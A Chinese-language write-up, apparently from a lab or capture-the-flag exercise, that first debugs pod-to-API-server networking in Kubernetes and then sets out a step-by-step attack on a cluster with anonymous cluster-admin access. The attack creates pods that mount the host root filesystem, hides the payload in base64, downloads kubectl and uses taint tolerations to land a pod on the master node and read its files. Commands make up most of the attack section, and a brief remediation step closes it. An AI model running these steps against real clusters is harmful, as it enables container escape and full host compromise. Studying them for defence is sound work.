容器内部未授权访问解决

一、 问题背景

  • 环境:容器内部的 Shell 环境。

  • 操作:尝试访问 K8s API。

  • 初始命令

    curl -k https://192.168.136.134:6443/api/v1/namespaces/default/pods
    
  • 现象:返回 Null(无响应或空),但物理机浏览器可以正常访问。


二、 排查过程 (侦探视角的逐步分析)

1. 怀疑权限问题 (Authentication)

首先排查是否因为没有 Token 被 API Server 拒绝。我们尝试确认是否开启了“匿名访问”。

  • 排查命令(在 Master 节点执行):

    kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous
    
  • 输出结果

    Error from server (AlreadyExists): clusterrolebindings.rbac.authorization.k8s.io "system:anonymous" already exists
    
  • 结论权限不是问题。集群已经处于“未授权访问”开启的状态(这是极其危险的配置),说明只要网络能通,任何人都应该能看到数据。

2. 误判网络状况 (False Positive)

既然权限开了,为什么 curl 没数据?检查网络。

  • 排查命令(在 /tmp 环境):

    curl google.com
    
  • 输出结果

    <TITLE>301 Moved</TITLE> ...
    
  • 中间结论:能访问 Google,说明出网正常。但这产生了一个误区,以为能上百度/谷歌就能连通局域网 IP。

3. 验证物理连通性 (The Smoking Gun)

为了验证是否真正能连通宿主机 IP(192.168.136.134),必须进行点对点测试。

  • 排查命令(在 /tmp 环境):

    ping -c 4 192.168.136.134
    
  • 输出结果

    100% packet loss
    
  • 结论网络不通! 虽然能访问外网(通过 NAT),但无法直接回连宿主机的物理 IP。这是问题的直接原因。

4. 确认当前环境身份 (Environment ID)

为什么网络不通?我们需要知道当前到底在哪里。

  • 排查命令(在 /tmp 环境):

    ip addr
    
  • 输出结果

    eth0@if8 ... inet 192.168.13.8/32 ...
    
  • 结论

    • eth0@if8 说明这是 容器网络接口
    • /32 说明这是 CNI 插件(如 Calico)管理的 Pod
    • 真相:你在 Pod 内部,而 Pod 网络与宿主机物理网络存在隔离,且受限于防火墙或路由回环问题,无法直接 Ping 通 Host IP。

三、 根因总结

问题的核心是 网络拓扑与路由隔离

  1. 位置:Shell 位于 Pod 容器内部。
  2. 目标:试图访问宿主机的物理 IP (192.168.136.134)。
  3. 阻碍:Pod 访问外网(Google)走 NAT 转发没问题,但访问宿主机 IP 会因为路由回环(Hairpin)或防火墙丢包而失败。

四、 解决方案

在 Pod 内部,必须使用 K8s 提供的内部专用网络通道,而不是物理 IP。

方法 A:使用环境变量(推荐,最稳定)

利用 K8s 注入的 Service Host 变量:

curl -k -v https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT/api/v1/namespaces/default/pods

方法 B:使用内部 DNS 域名

利用 K8s 的 CoreDNS 解析:

curl -k -v https://kubernetes.default.svc:443/api/v1/namespaces/default/pods

五,攻击手法

0,查看指定目标资产

主机执行

kubectl get svc struts

1,创建挂载容器

JSON 文件写入法

echo '{"apiVersion":"v1","kind":"Pod","metadata":{"name":"pwn"},"spec":{"containers":[{"image":"nginx","name":"c","volumeMounts":[{"mountPath":"/host","name":"h"}]}],"volumes":[{"name":"h","hostPath":{"path":"/"}}]}}' > p.json
建议直接使用原生 curl
curl -k -v -XPOST -H Content-Type:application/json -d@p.json https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT/api/v1/namespaces/default/pods
cdk读取文件内容作为参数传递
./cdk kcurl anonymous post "https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT/api/v1/namespaces/default/pods" "$(cat payload.json)"

分块追加脚本法

写入命令前半部分(并打开单引号)

注意:这里使用 printf 是为了避免自动换行(如果你的环境没有 printf,用 echo -n 也可以,但 printf 更稳)。

printf "./cdk kcurl anonymous post \"https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT/api/v1/namespaces/default/pods\" '" > temp.sh
追加 JSON 内容

直接把 p.json 的内容追加到脚本后面。

cat p.json >> temp.sh
写入命令后半部分(闭合单引号)

补上最后一个单引号。

echo "'" >> temp.sh
检查并执行

先看一眼拼出来的脚本对不对,然后执行。

cat temp.sh
sh temp.sh
运行脚本
sh temp.sh

Base64临时文件法

将文本转化成Base64编码
#!/bin/sh

# 使用 K8s 内部固定域名,不依赖环境变量
# https 默认就是 443 端口,所以可以省略 :443
URL="https://kubernetes.default.svc/api/v1/namespaces/default/pods"

# 定义 JSON Payload (单引号包裹)
PAYLOAD='{"apiVersion":"v1","kind":"Pod","metadata":{"name":"taintstwo","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"taintstwo","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}'

# 执行 CDK
./cdk kcurl anonymous post "$URL" "$PAYLOAD"
把 Base64 写入临时文件

请直接复制下面这一整块代码(包括最后一行 EOF),并在终端执行:

cat <<EOF > temp.b64
IyEvYmluL3NoCgojIOS9v+eUqCBLOHMg5YaF6YOo5Zu65a6a5Z+f5ZCN77yM5LiN5L6d6LWW546v5aKD5Y+Y6YePCiMgaHR0cHMg6buY6K6k5bCx5pivIDQ0MyDnq6/lj6PvvIzmiYDku6Xlj6/ku6XnnIHnlaUgOjQ0MwpVUkw9Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy9hcGkvdjEvbmFtZXNwYWNlcy9kZWZhdWx0L3BvZHMiCgojIOWumuS5iSBKU09OIFBheWxvYWQgKOWNleW8leWPt+WMheijuSkKUEFZTE9BRD0neyJhcGlWZXJzaW9uIjoidjEiLCJraW5kIjoiUG9kIiwibWV0YWRhdGEiOnsibmFtZSI6InRhaW50c3R3byIsIm5hbWVzcGFjZSI6ImRlZmF1bHQifSwic3BlYyI6eyJjb250YWluZXJzIjpbeyJpbWFnZSI6Im5naW54OjEuMTQuMiIsIm5hbWUiOiJ0YWludHN0d28iLCJ2b2x1bWVNb3VudHMiOlt7Im1vdW50UGF0aCI6Ii9ob3N0IiwibmFtZSI6Imhvc3QifV19XSwidm9sdW1lcyI6W3siaG9zdFBhdGgiOnsicGF0aCI6Ii8iLCJ0eXBlIjoiRGlyZWN0b3J5In0sIm5hbWUiOiJob3N0In1dfX0nCgojIOaJp+ihjCBDREsKLi9jZGsga2N1cmwgYW5vbnltb3VzIHBvc3QgIiRVUkwiICIkUEFZTE9BRCI=
EOF
解码并生成脚本

执行下面的命令,把刚才的文件还原成脚本:

base64 -d temp.b64 > run.sh

(如果报错,试试 base64 -D)

赋予权限并执行
chmod +x run.sh
./run.sh

2,验证容器挂载

curl -k https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT/api/v1/namespaces/default/pods | grep jsonpodname

3,利用挂载进行逃逸

下载k8s远程文件

使用curl
curl -LO https://dl.k8s.io/release/v1.28.2/bin/linux/amd64/kubectl
使用cdk

赋予执行权限

chmod +x kubectl

执行反弹shell等

./kubectl --server=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT --insecure-skip-tls-verify=true --username=a --password=a exec podname -- bash -c "ls /host"

4,污点Taints横向移动

获取节点情况

./kubectl --server=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT --insecure-skip-tls-verify=true --username=a --password=a describe node | grep 'Taints' -A 5

获取Master标签

./kubectl --server=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT --insecure-skip-tls-verify=true --username=a --password=a get node --show-labels | grep master
/tmp >./kubectl --server=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT --insecure-skip-tls-verify=true --username=a --password=a get node --show-labels | grep master

k8smaster    Ready    master   3d12h   v1.16.0   beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,kubernetes.io/arch=amd64,kubernetes.io/hostname=k8smaster,kubernetes.io/os=linux,node-role.kubernetes.io/master=

由回显可知Master标签后续

nodeSelector:
    node-role.kubernetes.io/master: ""

写入yaml

随机创建
cat > x.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
  name: control-master-x
spec:
  tolerations:
    - key: node-role.kubernetes.io/master
      operator: Exists
      effect: NoSchedule
  containers:
    - name: control-master-x
      image: ubuntu:18.04
      command: ["/bin/sleep", "3650d"]
      volumeMounts:
        - name: master
          mountPath: /master
  volumes:
    - name: master
      hostPath:
        path: /
        type: Directory
EOF
指定Master创建
cat > x.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
  name: control-master-x
spec:
  tolerations:
    - key: node-role.kubernetes.io/master
      operator: Exists
      effect: NoSchedule
  nodeSelector:
    node-role.kubernetes.io/master: ""
  containers:
    - name: control-master-x
      image: ubuntu:18.04
      command: ["/bin/sleep", "3650d"]
      volumeMounts:
        - name: master
          mountPath: /master
  volumes:
    - name: master
      hostPath:
        path: /
        type: Directory
EOF

执行创建

./kubectl --server=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT --insecure-skip-tls-verify=true --username=a --password=a create -f ./x.yaml

随机创建需改名多创几次才能到Master节点上

metadata:
  name: control-master-x
  containers:
    - name: control-master-x

使用kubectl远程查看创建是否在Master

./kubectl --server=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT --insecure-skip-tls-verify=true --username=a --password=a get pod -o wide

定时任务master反弹shell

./kubectl --server=https://192.168.0.138:6443 --insecure-skip-tls-verify=true --username=a --password=a exec control-master-x -- bash -c "cat /master/root/flag"

删除pod

./kubectl --server=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT --insecure-skip-tls-verify=true --username=a --password=a delete pod control-master-x

六、 后续安全修复(可选)

删除匿名用户的管理员权限绑定

kubectl delete clusterrolebinding system:anonymous

正规访问方式(修复匿名后Pod内部使用Token):

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt

curl --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
https://kubernetes.default.svc/api/v1/namespaces/default/pods